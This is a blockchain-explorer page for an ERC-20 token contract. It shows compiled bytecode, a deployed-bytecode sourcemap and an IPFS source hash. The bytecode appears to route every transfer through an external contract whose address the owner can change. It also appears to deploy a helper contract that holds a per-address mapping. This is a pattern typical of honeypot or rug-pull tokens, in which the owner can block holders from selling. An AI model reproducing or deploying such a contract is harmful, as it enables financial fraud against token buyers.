811015610a385760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161037b565b6001600160a01b0383166000908152600160205260408120838303905560038054849290610a67908490610f01565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161072d565b6000546001600160a01b031633146103f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161037b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000546001600160a01b03163314156103e257600580546001600160a01b0383166001600160a01b031990911617905550565b600554604051636c36515d60e01b81526001600160a01b0385811660048301528481166024830152604482018490526000928392911690636c36515d90606401602060405180830381600087803b158015610be157600080fd5b505af1158015610bf5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c199190610f18565b95945050505050565b61012180610f3b83390190565b600060208083528351808285015260005b81811015610c5c57858101830151858201604001528201610c40565b81811115610c6e576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610c9b57600080fd5b919050565b60008060408385031215610cb357600080fd5b610cbc83610c84565b946020939093013593505050565b600080600060608486031215610cdf57600080fd5b610ce884610c84565b9250610cf660208501610c84565b9150604084013590509250925092565b600060208284031215610d1857600080fd5b5035919050565b600060208284031215610d3157600080fd5b610d3a82610c84565b9392505050565b60008060008060808587031215610d5757600080fd5b610d6085610c84565b9350610d6e60208601610c84565b925060408501359150610d8360608601610c84565b905092959194509250565b60008060408385031215610da157600080fd5b610daa83610c84565b9150610db860208401610c84565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610dea57610dea610dc1565b500190565b600181815b80851115610e2a578160001904821115610e1057610e10610dc1565b80851615610e1d57918102915b93841c9390800290610df4565b509250929050565b600082610e41575060016102e7565b81610e4e575060006102e7565b8160018114610e645760028114610e6e57610e8a565b60019150506102e7565b60ff841115610e7f57610e7f610dc1565b50506001821b6102e7565b5060208310610133831016604e8410600b8410161715610ead575081810a6102e7565b610eb78383610def565b8060001904821115610ecb57610ecb610dc1565b029392505050565b6000610d3a60ff841683610e32565b6000816000190483118215151615610efc57610efc610dc1565b500290565b600082821015610f1357610f13610dc1565b500390565b600060208284031215610f2a57600080fd5b81518015158114610d3a57600080fdfe608060405234801561001057600080fd5b50610101806100206000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c80636c36515d14602d575b600080fd5b606560383660046094565b6001600160a01b039283166000908152602081815260408083209490951682529290925291902055600190565b604051901515815260200160405180910390f35b80356001600160a01b0381168114608f57600080fd5b919050565b60008060006060848603121560a857600080fd5b60af846079565b925060bb602085016079565b915060408401359050925092509256fea264697066735822122085196e262d9fdd82161fdc3d548ca41f4ef59e0db23774ba24ba2a8da1732d9564736f6c63430008090033a2646970667358221220166813345f64df1fa720ed0e557ee394f6e5f143f6bf2404060a11b06891b84c64736f6c63430008090033

Deployed Bytecode Sourcemap

7173:9966:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8051:100;8138:5;;;;;;;;;;;;-1:-1:-1;;;8138:5:0;;;;8051:100;;;;;;;:::i;:::-;;;;;;;;10746:184;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;10746:184:0;1053:187:1;9016:108:0;9104:12;;9016:108;;;1391:25:1;;;1379:2;1364:18;9016:108:0;1245:177:1;11270:517:0;;;;;;:::i;:::-;;:::i;8804:100::-;;;7543:2;1902:36:1;;1890:2;1875:18;8804:100:0;1760:184:1;12134:225:0;;;;;;:::i;:::-;;:::i;16154:85::-;;;;;;:::i;:::-;;:::i;:::-;;9314:143;;;;;;:::i;:::-;-1:-1:-1;;;;;9431:18:0;9404:7;9431:18;;;:9;:18;;;;;;;9314:143;5878:103;;;:::i;14454:357::-;;;;;;:::i;:::-;;:::i;5237:87::-;5283:7;5310:6;5237:87;;-1:-1:-1;;;;;5310:6:0;;;2879:51:1;;2867:2;2852:18;5237:87:0;2733:203:1;8566:104:0;8655:7;;;;;;;;;;;;-1:-1:-1;;;8655:7:0;;;;8566:104;;12691:448;;;;;;:::i;:::-;;:::i;9751:200::-;;;;;;:::i;:::-;;:::i;10253:164::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10388:17:0;;;10361:7;10388:17;;;:11;:17;;;;;;;;:21;;;;;;;;;;;;;10253:164;7630:22;;;;;;;;;6136:238;;;;;;:::i;:::-;;:::i;7552:71::-;;;:::i;10746:184::-;10849:4;10866:34;4001:10;10889:2;10893:6;10866:8;:34::i;:::-;-1:-1:-1;10918:4:0;10746:184;;;;;:::o;11270:517::-;11410:4;11427:36;11437:6;11445:9;11456:6;11427:9;:36::i;:::-;-1:-1:-1;;;;;11503:19:0;;11476:24;11503:19;;;:11;:19;;;;;;;;4001:10;11503:33;;;;;;;;11569:26;;;;11547:116;;;;-1:-1:-1;;;11547:116:0;;3408:2:1;11547:116:0;;;3390:21:1;3447:2;3427:18;;;3420:30;3486:34;3466:18;;;3459:62;-1:-1:-1;;;3537:18:1;;;3530:38;3585:19;;11547:116:0;;;;;;;;;11691:57;11700:6;4001:10;11741:6;11722:16;:25;11691:8;:57::i;:::-;-1:-1:-1;11775:4:0;;11270:517;-1:-1:-1;;;;11270:517:0:o;12134:225::-;4001:10;12242:4;12286:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12286:29:0;;;;;;;;;;12242:4;;12259:70;;12282:2;;12286:42;;12318:10;;12286:42;:::i;:::-;12259:8;:70::i;16154:85::-;16204:27;4001:10;16224:6;16204:5;:27::i;:::-;16154:85;:::o;5878:103::-;5123:13;:11;:13::i;:::-;5943:30:::1;5970:1;5943:18;:30::i;:::-;5878:103::o:0;14454:357::-;14561:10;;;;:16;;:10;:16;14558:246;;;14616:8;;;;;-1:-1:-1;;;;;14616:8:0;14602:10;:22;14594:46;;;;-1:-1:-1;;;14594:46:0;;4082:2:1;14594:46:0;;;4064:21:1;4121:2;4101:18;;;4094:30;-1:-1:-1;;;4140:18:1;;;4133:41;4191:18;;14594:46:0;3880:335:1;14594:46:0;14667:1;14658:6;:10;:33;;;;;14682:9;-1:-1:-1;;;;;14672:19:0;:6;-1:-1:-1;;;;;14672:19:0;;;14658:33;14655:138;;;14693:18;14706:4;14693:12;:18::i;:::-;14655:138;;;14757:20;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;14749:7:0;:28;;-1:-1:-1;;;;;;14749:28:0;-1:-1:-1;;;;;14749:28:0;;;;;;;;;;14655:138;14454:357;;;;:::o;12691:448::-;4001:10;12804:4;12848:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12848:29:0;;;;;;;;;;12910:35;;;;12888:122;;;;-1:-1:-1;;;12888:122:0;;4422:2:1;12888:122:0;;;4404:21:1;4461:2;4441:18;;;4434:30;4500:34;4480:18;;;4473:62;-1:-1:-1;;;4551:18:1;;;4544:35;4596:19;;12888:122:0;4220:401:1;12888:122:0;13038:62;4001:10;13061:2;13084:15;13065:16;:34;13038:8;:62::i;:::-;-1:-1:-1;13127:4:0;;12691:448;-1:-1:-1;;;12691:448:0:o;9751:200::-;9862:4;9879:42;4001:10;9903:9;9914:6;9879:9;:42::i;6136:238::-;5123:13;:11;:13::i;:::-;-1:-1:-1;;;;;6239:22:0;::::1;6217:110;;;::::0;-1:-1:-1;;;6217:110:0;;4828:2:1;6217:110:0::1;::::0;::::1;4810:21:1::0;4867:2;4847:18;;;4840:30;4906:34;4886:18;;;4879:62;-1:-1:-1;;;4957:18:1;;;4950:36;5003:19;;6217:110:0::1;4626:402:1::0;6217:110:0::1;6338:28;6357:8;6338:18;:28::i;7552:71::-:0;7607:15;7543:2;7607;:15;:::i;:::-;7586:37;;:17;:37;:::i;:::-;7552:71;:::o;16780:356::-;-1:-1:-1;;;;;16910:18:0;;16902:67;;;;-1:-1:-1;;;16902:67:0;;6791:2:1;16902:67:0;;;6773:21:1;6830:2;6810:18;;;6803:30;6869:34;6849:18;;;6842:62;-1:-1:-1;;;6920:18:1;;;6913:34;6964:19;;16902:67:0;6589:400:1;16902:67:0;-1:-1:-1;;;;;16988:16:0;;16980:63;;;;-1:-1:-1;;;16980:63:0;;7196:2:1;16980:63:0;;;7178:21:1;7235:2;7215:18;;;7208:30;7274:34;7254:18;;;7247:62;-1:-1:-1;;;7325:18:1;;;7318:32;7367:19;;16980:63:0;6994:398:1;16980:63:0;-1:-1:-1;;;;;17056:17:0;;;;;;;:11;:17;;;;;;;;:21;;;;;;;;;;;;;:30;;;17102:26;;1391:25:1;;;17102:26:0;;1364:18:1;17102:26:0;;;;;;;;16780:356;;;:::o;13409:739::-;13558:1;13549:6;:10;13541:50;;;;-1:-1:-1;;;13541:50:0;;7599:2:1;13541:50:0;;;7581:21:1;7638:2;7618:18;;;7611:30;7677:29;7657:18;;;7650:57;7724:18;;13541:50:0;7397:351:1;13541:50:0;-1:-1:-1;;;;;13610:20:0;;13602:70;;;;-1:-1:-1;;;13602:70:0;;7955:2:1;13602:70:0;;;7937:21:1;7994:2;7974:18;;;7967:30;8033:34;8013:18;;;8006:62;-1:-1:-1;;;8084:18:1;;;8077:35;8129:19;;13602:70:0;7753:401:1;13602:70:0;-1:-1:-1;;;;;13691:23:0;;13683:71;;;;-1:-1:-1;;;13683:71:0;;8361:2:1;13683:71:0;;;8343:21:1;8400:2;8380:18;;;8373:30;8439:34;8419:18;;;8412:62;-1:-1:-1;;;8490:18:1;;;8483:33;8533:19;;13683:71:0;8159:399:1;13683:71:0;-1:-1:-1;;;;;13791:17:0;;13767:21;13791:17;;;:9;:17;;;;;;13841:23;;;;13819:111;;;;-1:-1:-1;;;13819:111:0;;8765:2:1;13819:111:0;;;8747:21:1;8804:2;8784:18;;;8777:30;8843:34;8823:18;;;8816:62;-1:-1:-1;;;8894:18:1;;;8887:36;8940:19;;13819:111:0;8563:402:1;13819:111:0;-1:-1:-1;;;;;13958:17:0;;;;;;;:9;:17;;;;;;13978:22;;;13958:42;;14018:20;;;;;;;;:30;;13994:6;;13958:17;14018:30;;13994:6;;14018:30;:::i;:::-;;;;-1:-1:-1;14059:30:0;;-1:-1:-1;14063:6:0;14071:9;14082:6;14059:3;:30::i;:::-;;14122:9;-1:-1:-1;;;;;14105:35:0;14114:6;-1:-1:-1;;;;;14105:35:0;;14133:6;14105:35;;;;1391:25:1;;1379:2;1364:18;;1245:177;14105:35:0;;;;;;;;13530:618;13409:739;;;:::o;15528:456::-;-1:-1:-1;;;;;15612:21:0;;15604:67;;;;-1:-1:-1;;;15604:67:0;;9172:2:1;15604:67:0;;;9154:21:1;9211:2;9191:18;;;9184:30;9250:34;9230:18;;;9223:62;-1:-1:-1;;;9301:18:1;;;9294:31;9342:19;;15604:67:0;8970:397:1;15604:67:0;-1:-1:-1;;;;;15709:18:0;;15684:22;15709:18;;;:9;:18;;;;;;15746:24;;;;15738:71;;;;-1:-1:-1;;;15738:71:0;;9574:2:1;15738:71:0;;;9556:21:1;9613:2;9593:18;;;9586:30;9652:34;9632:18;;;9625:62;-1:-1:-1;;;9703:18:1;;;9696:32;9745:19;;15738:71:0;9372:398:1;15738:71:0;-1:-1:-1;;;;;15837:18:0;;;;;;:9;:18;;;;;15858:23;;;15837:44;;15899:12;:22;;15875:6;;15837:18;15899:22;;15875:6;;15899:22;:::i;:::-;;;;-1:-1:-1;;15939:37:0;;1391:25:1;;;15965:1:0;;-1:-1:-1;;;;;15939:37:0;;;;;1379:2:1;1364:18;15939:37:0;1245:177:1;5402:132:0;5283:7;5310:6;-1:-1:-1;;;;;5310:6:0;4001:10;5466:23;5458:68;;;;-1:-1:-1;;;5458:68:0;;10107:2:1;5458:68:0;;;10089:21:1;;;10126:18;;;10119:30;10185:34;10165:18;;;10158:62;10237:18;;5458:68:0;9905:356:1;6534:191:0;6608:16;6627:6;;-1:-1:-1;;;;;6644:17:0;;;-1:-1:-1;;;;;;6644:17:0;;;;;;6677:40;;6627:6;;;;;;;6677:40;;6608:16;6677:40;6597:128;6534:191;:::o;16364:146::-;6794:4;6828:6;-1:-1:-1;;;;;6828:6:0;16434:10;6818:16;16419:84;;;16461:7;:30;;-1:-1:-1;;;;;16461:30:0;;-1:-1:-1;;;;;;16461:30:0;;;;;;16364:146;:::o;8288:165::-;8391:7;;:30;;-1:-1:-1;;;8391:30:0;;-1:-1:-1;;;;;10524:15:1;;;8391:30:0;;;10506:34:1;10576:15;;;10556:18;;;10549:43;10608:18;;;10601:34;;;8360:4:0;;;;8391:7;;;:12;;10441:18:1;;8391:30:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8377:44;8288:165;-1:-1:-1;;;;;8288:165:0:o;-1:-1:-1:-;;;;;;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:180::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;-1:-1:-1;2100:23:1;;1949:180;-1:-1:-1;1949:180:1:o;2134:186::-;2193:6;2246:2;2234:9;2225:7;2221:23;2217:32;2214:52;;;2262:1;2259;2252:12;2214:52;2285:29;2304:9;2285:29;:::i;:::-;2275:39;2134:186;-1:-1:-1;;;2134:186:1:o;2325:403::-;2411:6;2419;2427;2435;2488:3;2476:9;2467:7;2463:23;2459:33;2456:53;;;2505:1;2502;2495:12;2456:53;2528:29;2547:9;2528:29;:::i;:::-;2518:39;;2576:38;2610:2;2599:9;2595:18;2576:38;:::i;:::-;2566:48;;2661:2;2650:9;2646:18;2633:32;2623:42;;2684:38;2718:2;2707:9;2703:18;2684:38;:::i;:::-;2674:48;;2325:403;;;;;;;:::o;2941:260::-;3009:6;3017;3070:2;3058:9;3049:7;3045:23;3041:32;3038:52;;;3086:1;3083;3076:12;3038:52;3109:29;3128:9;3109:29;:::i;:::-;3099:39;;3157:38;3191:2;3180:9;3176:18;3157:38;:::i;:::-;3147:48;;2941:260;;;;;:::o;3615:127::-;3676:10;3671:3;3667:20;3664:1;3657:31;3707:4;3704:1;3697:15;3731:4;3728:1;3721:15;3747:128;3787:3;3818:1;3814:6;3811:1;3808:13;3805:39;;;3824:18;;:::i;:::-;-1:-1:-1;3860:9:1;;3747:128::o;5033:422::-;5122:1;5165:5;5122:1;5179:270;5200:7;5190:8;5187:21;5179:270;;;5259:4;5255:1;5251:6;5247:17;5241:4;5238:27;5235:53;;;5268:18;;:::i;:::-;5318:7;5308:8;5304:22;5301:55;;;5338:16;;;;5301:55;5417:22;;;;5377:15;;;;5179:270;;;5183:3;5033:422;;;;;:::o;5460:806::-;5509:5;5539:8;5529:80;;-1:-1:-1;5580:1:1;5594:5;;5529:80;5628:4;5618:76;;-1:-1:-1;5665:1:1;5679:5;;5618:76;5710:4;5728:1;5723:59;;;;5796:1;5791:130;;;;5703:218;;5723:59;5753:1;5744:10;;5767:5;;;5791:130;5828:3;5818:8;5815:17;5812:43;;;5835:18;;:::i;:::-;-1:-1:-1;;5891:1:1;5877:16;;5906:5;;5703:218;;6005:2;5995:8;5992:16;5986:3;5980:4;5977:13;5973:36;5967:2;5957:8;5954:16;5949:2;5943:4;5940:12;5936:35;5933:77;5930:159;;;-1:-1:-1;6042:19:1;;;6074:5;;5930:159;6121:34;6146:8;6140:4;6121:34;:::i;:::-;6191:6;6187:1;6183:6;6179:19;6170:7;6167:32;6164:58;;;6202:18;;:::i;:::-;6240:20;;5460:806;-1:-1:-1;;;5460:806:1:o;6271:140::-;6329:5;6358:47;6399:4;6389:8;6385:19;6379:4;6358:47;:::i;6416:168::-;6456:7;6522:1;6518;6514:6;6510:14;6507:1;6504:21;6499:1;6492:9;6485:17;6481:45;6478:71;;;6529:18;;:::i;:::-;-1:-1:-1;6569:9:1;;6416:168::o;9775:125::-;9815:4;9843:1;9840;9837:8;9834:34;;;9848:18;;:::i;:::-;-1:-1:-1;9885:9:1;;9775:125::o;10646:277::-;10713:6;10766:2;10754:9;10745:7;10741:23;10737:32;10734:52;;;10782:1;10779;10772:12;10734:52;10814:9;10808:16;10867:5;10860:13;10853:21;10846:5;10843:32;10833:60;;10889:1;10886;10879:12

Swarm Source

ipfs://85196e262d9fdd82161fdc3d548ca41f4ef59e0db23774ba24ba2a8da1732d95
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.